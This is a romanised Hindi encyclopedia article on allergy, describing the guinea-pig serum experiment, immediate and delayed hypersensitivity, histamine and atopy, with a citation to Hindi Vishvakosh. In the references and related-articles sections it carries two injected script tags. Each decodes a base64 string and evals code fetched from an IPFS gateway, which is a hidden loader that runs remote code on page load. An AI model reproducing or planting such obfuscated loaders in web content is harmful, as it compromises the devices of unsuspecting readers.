अधिहृषता (ऐलर्जी)
adhihrishata (ailarji) shabd ka sarvapratham prayog van piraket ne bahy padarth ki pratikriya karane ki shakti mean hue parivartan ke lie kiya tha. kuchh lekhak is paribhashik shabd ko har prakar ki adhihrishata se sanbandhit karate haian, kiantu doosare lekhak isaka prayog keval sankramak rogoan se sanbandhit adhihrishata ke lie hi karate haian. pratyek adhihrishata ka moolabhoot adhar ek hi hai; isalie adhihrishata shabd ka prayog vistrit kshetr mean hi karana chahie.
yadi kisi ginipig ki adhastvacha mean gho de ka siram (rudhir ka drav bhag, jo jamanevale bhagoan ke jam jane par alag ho jata hai) pravisht kiya jae aur das din bad usi ginipig ko usi siram ki pahale se b di matra di jae, to usake aangoan mean kanpan utpann ho jata hai. (arthath use peshi-tantu-sankuchan ki bimari akasmath ho jati hai). yah sadharan prayog yah siddh karata hai ki ginipig ki ootiyoan (tishoo) mean pahale ianjekshan ke bad gho de ke siram ke lie adhihrishata utpann ho jati hai. siram utani hi matra mean yadi ek aharshit ginipig ko diya jae to usapar kuchh bhi kuprabhav nahian p dega. sankramak jivanuoan ke prati vishesh adhihrishata anek rogoan ka lakshan hai. pratikriya ki tivrata ke anusar manushyoan ki adhihrishata tatkalik aur vilambit do prakar ki hoti hai. tatkalik prakar mean uddipt karanevale karakoan (phaiktars) ke sanpark mean ane ke kuchh hi kshanoan bad pratikriya hone lagati hai. siram mean bahate hue pratijiv (aiantib aaudij) darshae bhi ja sakati haian. yah kriya sanbhavat: histaimain namak padarth ke banane se hoti hai.
vilambit prakar mean pratikriyaean vilamb se hoti haian. pratijiv siram mean darshae nahian ja sakate. in pratikriyaoan mean koshikaoan ko hani pahuanchati hai aur hirstamain utpann hone se usaka sanbandh nahian hota. vilambit prakar ki adhihrishata sansparsh tvacharti (chhoot se utpann tvakhpradah) aur tapedik jaise rogoan mean hoti hai.[1]
kuchh vyaktiyoan mean sanbhavat: jananik karakoan (jenetik phaiktars) ke phalasvaroop kee protin padarthoan ke prati adhihrishata ho jati hai. is prakar ki adhihrishata aitopi kahalati hai. usake karan paragaj jvar (he phivar) aur dama jaise rog hote haian.[2]
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tika tippani aur sandarbh
- ↑ (dr. 'dama')
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 101 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>